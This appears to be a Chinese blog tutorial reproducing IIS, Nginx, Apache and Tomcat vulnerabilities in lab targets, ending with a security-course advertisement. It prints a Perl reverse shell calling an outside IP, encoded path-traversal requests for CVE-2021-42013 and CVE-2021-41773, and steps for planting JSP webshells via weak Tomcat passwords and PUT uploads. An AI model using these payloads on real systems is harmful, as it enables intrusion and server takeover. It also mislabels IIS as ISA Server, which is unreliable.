服务攻防-中间件安全&CVE复现&IIS&Apache&Tomcat&Nginx漏洞复现

目录

一、导图

二、ISS漏洞

中间件介绍>

1、短文件

2、文件解析

3、HTTP.SYS

4、cve-2017-7269

三、Nignx漏洞

中间件介绍>

1、后缀解析漏洞

2、cve-2013-4547

3、cve-2021-23017 无 EXP

4、cve-2017-7529 意义不大

四、Apache漏洞

中间件介绍>

1、漏洞版本简介

2、cve-2021-42013

3、cve-2021-41773

4、cve-2017-15715

5、cve-2017-9798

6、cve-2018-11759

7、cve-2021-37580

四、Tomcat漏洞

中间件介绍>

1、弱口令猜解

2、cve-2017-12615

3、cve-2020-1938

4、cve-2020-11996

5、cve-2020-9484


一、导图

二、ISS漏洞

< ISS中间件介绍>

ISS中间件(Internet Security and Acceleration Server
Middleware)是微软公司推出的一种安全中间件,旨在提供高效的安全代理服务和网络加速功能。它是Microsoft Proxy
Server和Microsoft Firewall产品的继承者,也是Microsoft Forefront TMG(Threat Management
Gateway)的前身。

ISS中间件主要提供以下功能:

  • 安全代理服务:ISS中间件可以作为代理服务器,将内部网络和Internet隔离开来,有效防止内部网络遭受外部攻击和入侵。
  • 访问控制:ISS中间件可以实现灵活的访问控制,根据用户身份、时间、来源IP等多种因素对网络访问进行限制,保护网络安全。
  • 内容过滤:ISS中间件可以对网络流量进行内容过滤,过滤掉不安全的网站和内容,有效避免恶意软件和垃圾邮件等网络威胁。
  • 网络加速:ISS中间件可以对网络流量进行缓存和压缩,加快网络访问速度,提高用户体验。

需要注意的是,由于Microsoft Forefront TMG已经停止开发和支持,因此ISS中间件也已经成为一种过时的技术。

ISS这个中间件是Windows上的一个中间件,由于现在的网络环境的情况,ISS这个中间件的使用率已经非常少了,一方面是Windows的份额减少了,另一方面是大部分的web程序使用php、java居多,但是ISS这个中间件在部分情况下不支持,虽然其支持php,但是在php方面使用apache的比较多,所以使用ISS的一般都是一些比较老牌的源码,但是其使用量在变得越来越少了,所以其上面的安全问题就变得越来越少,我们碰到的机率也是越来越小了。


1、 短文件

信息收集。

2、文件解析

还有点用,但是用处不大。

3、 HTTP.SYS

蓝屏崩溃。

4、cve-2017-7269

条件过老。

三、Nignx漏洞

< Nignx中间件介绍>

Nginx是一个高性能、高可靠性的HTTP和反向代理服务器,也可以用作电子邮件代理服务器、TCP代理服务器等。Nginx采用事件驱动的异步架构和轻量级的内存占用,能够处理高并发的网络请求,并且具有高度的可扩展性和灵活性。以下是Nginx的一些主要特点和用途:

  1. 高性能:Nginx采用异步非阻塞的IO模型和高效的事件处理机制,可以快速地处理大量的并发请求。

  2. 可靠性:Nginx在设计时考虑到了故障恢复和容错处理机制,保证了系统的可靠性和稳定性。

  3. 反向代理:Nginx可以作为反向代理服务器,将客户端请求转发到后端的应用程序服务器,实现负载均衡和高可用性。

  4. 静态文件服务:Nginx可以快速地响应静态文件请求,支持文件缓存和gzip压缩,提高了网站的响应速度。

  5. 动态内容处理:Nginx可以通过FastCGI、uWSGI等协议与后端的应用程序服务器进行通信,实现动态内容的处理和渲染。

  6. 安全性:Nginx提供了多种安全功能,如SSL/TLS协议支持、HTTP访问控制、DDoS攻击防御等。

  7. 高可扩展性:Nginx支持模块化的设计,可以通过编写自定义模块来扩展其功能。

由于其高性能、可靠性和灵活性,Nginx已经成为了广泛使用的服务器软件之一,被广泛用于Web应用、移动应用、物联网、云计算等领域。


1、后缀解析漏洞

配置不当:该漏洞与 Nginx、php 版本无关,属于用户配置不当造成的解析漏洞。

启动漏洞环境。

打开环境对应的网址。

上传一张图片,抓取数据包,可以看到其中间件版本以及文件存储路径。

通过上面数据包的内容可知其在漏洞的影响范围内。

我们可以首先将文件的路径输入到url后面来观察文件是否存在,可以看到文件确实被上传上去了。

正常来说我们上传的是png图片,是不可能执行处php效果的,但是因为此版本存在漏洞,只需要在url末尾加上一个随便的以php为后缀名的文件,就可以将上传的png内的php代码执行出来。

上传一个图片马后将url更改成下面的样式,可以看到成功将php代码执行了出来。

2、cve-2013-4547

这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

将靶场环境启动。

访问靶场页面。

上传文件抓取数据包可以看到其中间件的版本在漏洞的影响范围内。

将数据包更改成下面的样式后放包(注意1.jpg后面的空格)。

可以看到文件成功上传上去了。

访问上传地址,发现访问不到,因为我们加了空格。

我们抓取数据包,将数据包内的内容做出下面的修改。

此时发送数据包后可以看到右面成功执行出了php代码。

3、cve-2021-23017 无 EXP
4、cve-2017-7529 意义不大

四、 Apache漏洞

< Apache 中间件介绍 >

Apache是一款开源的跨平台Web服务器软件,具有高度的可靠性、灵活性和可扩展性,是目前全球应用最为广泛的Web服务器软件之一。以下是Apache的一些主要特点和用途:

  1. 可靠性:Apache在设计时考虑到了故障恢复和容错处理机制,能够自动检测并处理运行中出现的故障,提高了系统的可靠性和稳定性。

  2. 可扩展性:Apache具有模块化的设计,可以通过编写自定义模块来扩展其功能,可以根据需要添加或删除模块,提高了软件的灵活性和可扩展性。

  3. 高性能:Apache采用多线程或多进程的架构,可以同时处理多个并发请求,提高了系统的处理能力和性能。

  4. 安全性:Apache提供了多种安全功能,如SSL/TLS协议支持、HTTP访问控制、DDoS攻击防御等,保障了系统的安全性和稳定性。

  5. 反向代理:Apache可以作为反向代理服务器,将客户端请求转发到后端的应用程序服务器,实现负载均衡和高可用性。

  6. 动态内容处理:Apache可以通过FastCGI、uWSGI等协议与后端的应用程序服务器进行通信,实现动态内容的处理和渲染。

  7. 静态文件服务:Apache可以快速地响应静态文件请求,支持文件缓存和gzip压缩,提高了网站的响应速度。

由于其可靠性、灵活性和可扩展性,Apache被广泛用于Web应用、移动应用、物联网、云计算等领域,是目前应用最广泛的Web服务器软件之一。


1、漏洞版本简介

Apache HTTP Server 是美国阿帕奇( Apache )基金会的一款开源网页服务器。该服

务器具有快速、可靠且可通过简单的 API 进行扩充的特点,发现 Apache HTTP

Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍

历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文

件不受通常的默认配置 “ 要求全部拒绝 ” 的保护,则这些请求可能会成功。如果还为这些别

名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache

2.4.49 和 Apache 2.4.50 ,而不影响更早版本。

2、cve-2021-42013
  • RCE

找到对应漏洞将其环境启动。

访问靶场地址。

抓取数据包可以看到其版本。

生成一个perl将其复制出来。

echo;perl -e 'use 
Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/b
in/sh -i");};'

监听反弹的端口。

使用post请求访问,抓取数据包,将数据包更改成下面的样式。

请求地址:
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

放包之后发现成功接收到了反弹。

验证发现其可以成功执行命令。

3、cve-2021-41773
  • 目录穿越
  • Apache HTTP Server 2.4.49 、 2.4.50 版本对路径规范化所做的更改中存在一个路 径穿越漏洞,攻击者可利用该漏洞读取到 Web 目录外的其他文件,如系统配置文件、网 站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

将靶场环境启动。

访问靶场地址,可以看到其版本在漏洞影响范围内。

抓取数据包后将数据包内的地址修改成下面的样式。

/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/
passwd

放包后可以看到其所有的密码信息。

我们可以通过更改url末尾的路径来实现任意文件访问。

4、cve-2017-15715
  • 文件解析
  • Apache HTTPD 是一款 HTTP 服务器。其 2.4.0~2.4.29 版本存在一个解析漏洞,在解析 PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。

将靶场环境启动。

访问漏洞地址

抓包可以确定其符合漏洞版本。

上传一个图片文件后抓取数据包。

将数据包更改成下面的样式,放包后发现被拦截了。

首先在php的后面加一个空格。

找到对应位置将其改成0a。

此时再次放包后可以发现没有被拦截,文件成功被上传了上去。

我们访问1.php发现访问不到。

我们抓取数据包。

在如图所示的位置加上一个%0a,发现就可以正常访问了。

5、cve-2017-9798

价值不高。

6、cve-2018-11759

价值不高。

7、cve-2021-37580

插件问题。

四、 Tomcat漏洞

< Tomcat 中间件介绍 >

Tomcat是一款开源的Web应用服务器软件,是Apache软件基金会的一个开源项目,其主要用途是运行Java Servlet和Java Server
Pages(JSP)程序。以下是Tomcat的一些主要特点和用途:

  1. 轻量级:Tomcat相对于其他的Web服务器软件而言,是一款轻量级的软件,它的安装和配置比较简单,适合中小型企业和个人使用。

  2. Java EE支持:Tomcat可以支持Java EE规范中的一些关键组件,如Servlet、JSP、WebSocket等,方便开发人员进行Java Web应用程序的开发和部署。

  3. 可扩展性:Tomcat支持通过编写自定义的Servlet和Filter等组件来扩展其功能,可以根据需要添加或删除组件,提高了软件的灵活性和可扩展性。

  4. 安全性:Tomcat提供了多种安全功能,如SSL/TLS协议支持、访问控制、身份认证等,保障了Web应用程序的安全性和稳定性。

  5. 高性能:Tomcat采用多线程的架构,可以同时处理多个并发请求,提高了系统的处理能力和性能。

  6. 管理界面:Tomcat提供了一个Web管理界面,可以通过浏览器对服务器进行配置、管理和监控。

  7. 兼容性:Tomcat与其他Java EE服务器(如JBoss、WebLogic等)兼容性良好,可以与其它应用服务器无缝集成。

由于其轻量级、可扩展性和Java EE支持等特点,Tomcat被广泛用于Web应用程序的开发和部署,是Java Web开发中最受欢迎的Web服务器软件之一。


1、弱口令猜解
  • 配置不当导致后台弱口令,可通过上传jsp压缩包改名的war拿shell。

找到对应的靶场环境,并将靶场的环境给启动起来。

打开靶场对应的网站地址。

点击下图所示的位置。

进入到了其后台管理的地方,可以看到需要输入账号和密码(其网站的地址为默认的,可以通过直接访问下图中的url来进行尝试)。

我们使用常见的默认账号密码来进行尝试登录,如果没有登录成功,则可以使用爆破工具来对其进行爆破,如burp suite等。

这里尝试使用tomcat用户名和密码来尝试进行登录。

登录后看到下面的页面就说明登录成功了。

进入到这里我们就可以取得网站权限了,此时上传一个jsp后门即可,但是其不能直接对其进行解析,就需要我们使用war包来进行解析,下面来介绍如何制作war包。

打开哥斯拉等工具来生成一个马。

点击生成之后选择jsp,然后点击确定。

选择保存路径后将其保存。

将生成的文件进行压缩。

压缩之后将其后缀名更改为war。

将修改号文件上传上去。

此时可以看到我们上传的文件。

访问这个地址,会返回404错误。

此时只需要在url后面将文件名给添加上去即可,访问后得到空白页面就是我们想要的结果。


来到哥斯拉内完成下面的配置之后点击“测试连接” 。

可以看到测试成功。

此时点击“添加”即可。

点击“进入”。

可以看到我们成功进入了网站的后台。

2、cve-2017-12615
  • 文件上传
  • 当存在漏洞的Tomcat运行在Windows/Linux主机上,且启用了HTTP PUT请求方法(例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包合任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
  • 影响版本:Apache Tomcat 7.0.0-7.0.79

启动漏洞环境。

访问漏洞网站可以看到下面的页面。

访问下面的页面。

抓取数据包。

将数据包更改成下面的样式。

放包后可以看到返回了201,即创建了一个返回状态码。

再次访问,发现页面存在了。

此时使用哥斯拉进行连接即可,与上面的流程一样,这里就不再进行介绍了。

3、cve-2020-1938
  • 文件读取

  • Apache TomcatAJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。

  • 影响版本:

Tomcat 6.*
Tomcat 7.< 7.0.100
Tomcat 8.
< 8.5.51
Tomcat 9. < 9.0.31

启动漏洞环境。

使用网上下载的exp执行下面的命令来尝试文件读取,可以看到读取成功了。

4、cve-2020-11996
  • 拒绝服务
  • 危害过大,权限无关,意义不大。
5、cve-2020-9484
  • 反序列化
  • 条件苛刻,意义不大。

网络安全工程师(白帽子)企业级学习路线

第一阶段:安全基础(入门)

![img](https://img-
blog.csdnimg.cn/img_convert/1143043d2904f7c42dc2b6bd8844ea88.png)

第二阶段:Web渗透(初级网安工程师)

![img](https://img-
blog.csdnimg.cn/img_convert/c19770f9c5d00f1bdb71eb3c798f6ab3.png)

第三阶段:进阶部分(中级网络安全工程师)

![img](https://img-
blog.csdnimg.cn/img_convert/156103c602fd758177b4311e476499c8.png)

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉[网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!](https://mp.weixin.qq.com/s/BWb9OzaB-
gVGVpkm161PMw)

学习资源分享

![](https://img-
blog.csdnimg.cn/img_convert/b689dde02d3b814c1da67d17e4e9afaf.jpeg)

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

  • 24
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值